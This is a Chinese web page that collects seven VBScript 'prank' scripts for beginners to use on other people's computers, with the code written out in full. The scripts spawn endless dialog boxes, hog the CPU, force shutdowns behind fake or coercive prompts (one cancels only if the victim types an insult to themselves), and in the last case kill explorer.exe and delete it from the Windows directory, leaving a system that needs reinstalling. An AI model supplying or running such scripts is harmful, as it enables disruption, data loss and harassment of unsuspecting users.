首页 > 代码库 > 代码大集合
代码大集合
hi，又和大家见面了。这次我把代码全部集合起来，方便初学者学习
1.整人，弹出无数个对话框（建议能不用就不用！）
msgbox"此处文字可修改！”msgbox"此处文字为提醒文字，可修改"msgbox"此处文字可修改，也可用msgbox函数加行"domsgbox"整人！弹出无数个对话框！（此处文字可修改！）"loop
2.占用cpu。
do loop
3.骂自己是猪（最好不要用！用要谨慎！）
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox "乖" loop msgbox "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox "自己骂自己的不要脸~~~~~~",4, " "
4.电脑英文数数。（这个是最惨的。就是one、tuo……数数，只要不关机就数）
Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop
5.反着来（这个就是按否就关机了）
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if
6.弹出无数个计算器软件。（这个直接卡机）
Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0
7.桌面删除（就是把桌面直接删除，运行了就直接装系统或者一键还原行了！）
set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe"
一览图：
7.
代码大集合
声明：以上内容来自用户投稿及互联网公开渠道收集整理发布，本网站不拥有所有权，未作人工编辑处理，也不承担相关法律责任，若内容有误或涉及侵权可进行投诉： 投诉/举报 工作人员会在5个工作日内联系你，一经查实，本站将立刻删除涉嫌侵权内容。